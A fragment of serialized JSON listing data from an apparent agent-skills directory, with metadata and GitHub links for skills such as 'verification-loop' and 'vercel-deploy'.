artifacts.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":147,"name":148,"nameZh":6,"description":149,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":118,"licenseFileUrl":6,"sourceHtmlUrl":150,"categories":151,"keywords":152,"publishedAt":20},"01M7EFCSNZM9G7ZHS6F127Q71X","verification-loop","A comprehensive verification system for Claude Code sessions.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fverification-loop\u002FSKILL.md",[],[],{"skillNo":154,"name":155,"nameZh":6,"description":156,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":118,"licenseFileUrl":157,"sourceHtmlUrl":158,"categories":159,"keywords":160,"publishedAt":20},"01M7EFCE7EZMKPRYDDNKBQ9EEH","vercel-deploy","Deploy applications and websites to Vercel. Use when the user requests deployment actions like \"deploy my app\", \"deploy and give me the link\", \"push this live\", or \"create a preview deployment\".","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FSKILL.md",[],[]]